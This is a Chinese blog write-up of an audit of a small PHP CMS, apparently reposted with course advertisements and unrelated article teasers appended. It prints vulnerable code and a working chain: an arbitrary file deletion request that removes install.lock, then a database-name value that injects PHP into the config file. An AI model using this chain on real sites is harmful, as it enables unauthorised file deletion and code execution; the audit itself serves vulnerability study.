记一次cms代码审计

0×00:前言

记录一次小型cms代码审计

 

0×01:任意文件删除

由于代码繁杂,不再一一展示

/app/controller/kindeditor.class.php

关键漏洞代码

public function delete() {$path = ROOT_PATH.$_GET['pic'];unlink($path);$flash = M("flash");$row = $flash->query("delete from tc_flash wherephoto='".$_GET['pic']."'");echo '删除成功';}}

可以看到直接调用delete方法get传入pic参数就可以删除任意文件

0×02:Getshell

/install/index.php

case '4':if (intval($_GET['install'])) {$n = intval($_GET['n']);$arr = array();$dbHost = trim($_POST['dbhost']);$dbPort = trim($_POST['dbport']);$dbName = trim($_POST['dbname']);$dbHost = empty($dbPort) || $dbPort == 3306 ? $dbHost : $dbHost .':' . $dbPort;$dbUser = trim($_POST['dbuser']);$dbPwd = trim($_POST['dbpw']);$dbPrefix = empty($_POST['dbprefix']) ? 'tc_' :trim($_POST['dbprefix']);$uname = trim($_POST['manager_email']);$password = trim($_POST['manager_pwd']);$webpath = trim($_POST['webpath']);............if ($i == 999999) exit;$message = '成功添加站点信息<br />成功写入配置文件<br>安装完成.';//$newmodelstr = "<?php \n";$newmodelstr .= " define('DBHOST', '" . $dbHost . "');\n ";$newmodelstr .= "define('DBUSER', '" . $dbUser . "');\n ";$newmodelstr .= "define('DBPWD', '" . $dbPwd . "');\n ";$newmodelstr .= "define('DBNAME', '" . $dbName . "');\n ";$newmodelstr .= "define('DBCODE', 'utf8');\n ";$newmodelstr .= "define('DBCONN', " . $db_pconnect . ");\n ";$newmodelstr .= "define('MORESITE', false);\n ";$newmodelstr .= "define('USEMC', false);\n ";$newmodelstr .= "define('MCHOST', '127.0.0.1');\n ";$newmodelstr .= "define('MCPORT','11211');\n ";$newmodelstr .= "define('MCHOST2', '127.0.0.1');\n ";$newmodelstr .= "define('MCPORT2','11211');\n ";$newmodelstr .= "\n?>\n";$targetFile = '../app/data/mysql.php';@file_put_contents($targetFile, $newmodelstr);$arr = array('n' => 999999, 'msg' => $message);die(json_encode($arr));}include_once ("./templates/s4.php");exit;

在安装cms的时候在$dbName可以写入一句话木马进行getshell

当然当你访问网站的时候已经是安装好了的

这时候需要上一个任意文件删除的漏洞删除/app/data/install.lock文件进行系统重装

0×03:如何调用

/***cms/core/controller.class.php

控制器代码

public function Run() {$this->Analysis ();$this->control = $_GET ['c'];$this->action = $_GET ['a'];if ($_GET ['a'] === "list") {$this->action = "listAll";}$groupDir = GROUP_DIR;$controlFile = ROOT_PATH . '/' . APP_PATH . "/" . GROUP_DIR . "/" .$this->control . '.class.php';if (! file_exists ( $controlFile )) {$this->setValue ( "error", $this->control . Config::lang ("CONTROLLERNOTEXISTS" ) );$this->forward ( "error.html" );exit ();}include ($controlFile);if (! class_exists ( $this->control )) {$this->setValue ( "error", $this->control . Config::lang ("CONTROLLERNOTDEFINED" ) );$this->forward ( "error.html" );exit ();}if (! empty ( $_REQUEST ['token'] ) && ! in_array ( $_REQUEST ['ac'],array ('user_login', 'user_reg', 'user_regOrLoginProtocol', 'user_findPwd','user_getCode' ) )) {$this->pubCheck ();}$instance = new $this->control ();$methodName = $this->action;$instance->$methodName ();$this->forceAttack();

跟进$this->Analysis ();方法

protected function Analysis() {$ac = array ();$acStr = $_GET ['ac'];if (empty ( $acStr )) { // 无ac参数$ac [0] = $this->control;$ac [1] = $this->action;} else if (! strpos ( $acStr, '_' ) && $acStr) { // ac=list$ac [0] = $acStr; // empty($this->control) ?self::getDefaultAction() : $this->control;//NULL$ac [1] = self::getDefaultAction ();$modelClass = $ac [1];$controlClass = $ac [0];} else { // ac=news_list 支持下划线的控制器$acAry = explode ( "_", $acStr );if (count ( $acAry ) == 2) {$modelClass = $acAry [1];$controlClass = $acAry [0];}if (count ( $acAry ) == 3) {$modelClass = $acAry [2];$controlClass = $acAry [0] . '_' . $acAry [1];}}if ($this->c ['URL_MODE'] == 1) {$this->control = ! empty ( $controlClass ) ? trim ( $controlClass ): $this->control;$this->action = ! empty ( $modelClass ) ? trim ( $modelClass ) :$this->action;} else if ($this->c ['URL_MODE'] == 2) {if (isset ( $_SERVER ['PATH_INFO'] )) {$path = trim ( $_SERVER ['PATH_INFO'], '/' );$paths = explode ( '/', $path );// index.php/news/show/id/275$this->control = array_shift ( $paths ); // news$this->action = array_shift ( $paths ); // showParseUrl (); // news/show/id/275 index.php后面的}} else if ($this->c ['URL_MODE'] == 3) {// $_SERVER["QUERY_STRING"]=>// string(19) "ac=news_show&id=275"// $_SERVER["REQUEST_URI"]=>// string(30) "/index.php?ac=news_show&id=275"// bencandy.php?fid-{$fid}-id-{$id}-page-{$page}.html$path = str_replace ( ".asp", "", $_SERVER ["QUERY_STRING"] ); //news-show-1$paths = explode ( '-', $path );$this->control = array_shift ( $paths ); // news$this->action = array_shift ( $paths ); // show$key = $this->action == 'show' ? 'id' : 'page';$_GET [$key] = array_shift ( $paths ); // id page classidss}$_GET ['c'] = ! empty ( $this->control ) ? $this->control : 'index';$_GET ['a'] = ! empty ( $this->action ) ? $this->action :self::getDefaultAction ();$ac [0] = $_GET ['c'];$ac [1] = $_GET ['a'];

http://url/index.php?ac=控制器_方法名进行访问

构造payload  ac=kindeditor_delete&pic=/app/data/install.lock

删除成功进到安装界面

v2-4007a81b451c934e08b31aea170ce7b2_720w.png

数据库名字处输入');phpinfo();//

再次访问/***cms/index.php 成功输出

v2-285b2a8c0cac09c0b15079f3c3af379b_720w.png

0×04:总结

代码审计抓住函数跟进就对了,知识点的综合利用很重要。继续审计去了,以上漏洞挺多的。

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取 

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

同时每个成长路线对应的板块都有配套的视频提供: 

大厂面试题

视频配套资料&国内外网安书籍、文档

当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料

 所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~ 

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

特别声明:

此教程为纯技术分享!本教程的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/21262.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Postgre数据库初探

一、PostgreSQL介绍 PostgreSQL是以加州大学伯克利分校计算机系开发的POSTGRES&#xff0c; 版本 4.2为基础的对象关系型数据库管理系统&#xff08;ORDBMS&#xff09;。POSTGRES 领先的许多概念在很久以后才出现在一些商业数据库系统中。 PostgreSQL是最初的伯克利代码的开…

vscode编译c/c++找不到jni.h文件

解决办法: 一、下载JDK 访问Oracle官网的Java下载页面&#xff1a;Java Downloads | Oracle 选择适合您操作系统的JDK版本&#xff1a; 对于Windows&#xff0c;选择“Windows x64”或“Windows x86”&#xff08;取决于您的系统是64位还是32位&#xff09;。对于Linux&#…

RPM包方式离线部署gitlab

下载安装包 要求&#xff1a;可以联网&#xff0c;系统及版本与目标服务器一致。配置gitlab yum仓库 curl -s https://packages.gitlab.com/install/repositories/gitlab/gitlab-ce/script.rpm.sh | sudo bash 新建包存放目录 mkdir /root/gitlab 下载gitlab及相关安装包 …

老赛棍版端口,扫别人没扫到的资产

0x001 获取目标信息 因为某些敏感原因&#xff0c;这部分干脆以长沙为例&#xff0c;仅做查询方式参考。首先FOFA搜&#xff1a;region"Hunan" && city"Changsha"&#xff0c;全部转换为C段后去重&#xff0c;就得到该城市的大致网段&#xff1a;…

Android O Camera深度研究

目录 Adnroid O之前的Android camera软件框架 Adnroid O camera软件框架 Passthrough Mode Binderized mode Wrapper shim for libhardware HALs Wrapper shim for libhardware HALs Customized Treble Camera HAL/framework Camera HAL transition and removal plan …

Android精通值Fragment的使用 —— 不含底层逻辑(五)

1. Fragment 使用Fragment的目标&#xff1a;根据列表动态显示内容&#xff0c;更简洁显示界面、查找界面 eg. 使用新闻列表动态显示新闻 1.1 Fragment的特性 具备生命周期 —— 可以动态地移除一些Fragment必须委托在Activity中使用可以在Activity中进行复用 1.2 Fragmen…

新鲜速递:图解新颖LLM的CoPE位置编码

大模型技术论文不断&#xff0c;每个月总会新增上千篇。本专栏精选论文重点解读&#xff0c;主题还是围绕着行业实践和工程量产。若在某个环节出现卡点&#xff0c;可以回到大模型必备腔调重新阅读。而最新科技&#xff08;Mamba,xLSTM,KAN&#xff09;则提供了大模型领域最新技…

基于docker的oracle12.2.0.1部署及oracle使用与docker镜像容器制作迁移方法

基于docker的oracle12.2.0.1部署及oracle使用与docker镜像容器制作迁移方法 本文介绍了基于docker的oracle12.2.0.1部署&#xff0c;包含了oracle基本配置、监听器和实例启动方法、PDB和CDB操作方法、表空间建立和用户数据库建立、常见启动问题解决等&#xff0c;并介绍了镜像制…

二、go微服务项目“商城项目实战开发”第二步grpc和gin的直连调用

文章目录 商城项目实战开发-GRPC和GIN的直连调用01、本次课程微服务的技术栈02、用户服务接口定义和实现登录1、密码问题01、MD5的方式02、加盐的方式03、动态盐04、使用加盐框架passwordEncoder2、用户服务接口的暴露3、Grpc的实现步骤1.定义暴露接口2.编写user的调用文件3.编…

YOLOv8_obb预测流程-原理解析[旋转目标检测理论篇]

YOLOv8_obb的预测流程,主要分预处理模块、推理模块和后处理模块。这里面有很多内容是和目标检测预测流程是重合的,主要区别在于Angle分支、NMS后处理以及regularize_rboxes部分。本文也主要介绍一下这三个模块,其他模块可以结合YOLOv8预测流程-原理解析[目标检测理论篇]一起…

免费SSL证书的安全性与获取指南

SSL证书是一种数字凭证&#xff0c;用于加密用户与网站之间的信息交换&#xff0c;以确保传输的数据不被第三方窃取。它像是一个数字版的密封印章&#xff0c;为数据的传输过程提供了一层保护膜。 免费的SSL证书通常由CA机构提供&#xff0c;它们同样可以提供基础数据的加密服…

16.Redis之Redis事务

1.MySQL 事务 原子性: 把多个操作,打包成一个整体了 一致性: 事务执行之前,和之后,数据都不能离谱~ 持久性: 事务中做出的修改都会存硬盘 隔离性: 事务并发执行,涉及到的一些问题~~ 2.Redis事务 2.1 认识Redis事务 • 弱化的原⼦性: redis 没有 "回滚机制". …

.NET最新漏洞 | 某SLMS系统存在SQL注入

01阅读须知 此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等&#xff08;包括但不限于&#xff09;进行检测或维护参考&#xff0c;未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失&#xf…

翻译《The Old New Thing》- How do I force the ECHO command to echo?

How do I force the ECHO command to echo? - The Old New Thing (microsoft.com)https://devblogs.microsoft.com/oldnewthing/20080403-00/?p22883 Raymond Chen 2008年04月03日 如何强制执行ECHO命令以进行回显&#xff1f; 简要 ECHO命令用于在命令行打印文本&#xff0…

统一预订,YonSuite商旅费控助力成长型企业“消灭报销”

在成长型企业快速发展的道路上&#xff0c;商旅管理作为连接企业内外的重要纽带&#xff0c;其效率与成本直接影响着企业的整体运营。面对日益增长的商旅需求&#xff0c;如何简化预订流程、降低管理成本、提高运营效率成为了成长型企业亟待解决的问题。用友YonSuite商旅费控以…

【权威出版】2024年新媒体、网络与电子商务国际会议(NMNE 2024)

2024年新媒体、网络与电子商务国际会议 2024 International Conference on New Media, Networking, and E-commerce 【1】会议简介 2024年新媒体、网络与电子商务国际会议即将召开&#xff0c;这是一次集结全球新媒体、网络与电子商务领域精英的学术盛会。 本次会议将深…

DPDK基础组件一(mbuf、ring、pktmbuf_pool)

一、rte_mbuf 此部分转自:https://zhuanlan.zhihu.com/p/616314276 1.mbuf结构 mbuf是报文中的描素的结构体,是整个转发过程中最核心的数据结构之一。主要针对于mbuf的常用API与基本原理做一个简单的介绍。 mbuf:报文内存存储结构,存储在mempool中mempool:使用环形缓冲…

Web安全:软件开发的安全问题与解决方案

「作者简介」&#xff1a;2022年北京冬奥会网络安全中国代表队&#xff0c;CSDN Top100&#xff0c;就职奇安信多年&#xff0c;以实战工作为基础对安全知识体系进行总结与归纳&#xff0c;著作适用于快速入门的 《网络安全自学教程》&#xff0c;内容涵盖系统安全、信息收集等…

jni调用so或dll区别

在Java中通过JNI&#xff08;Java Native Interface&#xff09;调用本地代码时&#xff0c;所使用的动态库文件扩展名&#xff08;如 .dll 对于Windows或 .so 对于Unix-like系统&#xff09;取决于你的操作系统和目标平台。 DLL&#xff08;Dynamic Link Library&#xff09;…

python数据预处理

PYTHON 最流行库&#xff1a;Numpy、Matplotlib 和 Pandas。Numpy 是满足所有数学运算所需要的库&#xff0c;由于代码是基于数学公式运行的&#xff0c;因此就会使用到它。Maplotlib&#xff08;具体而言&#xff0c;Matplotlib.pyplot&#xff09;则是满足绘图所需要的库。Pa…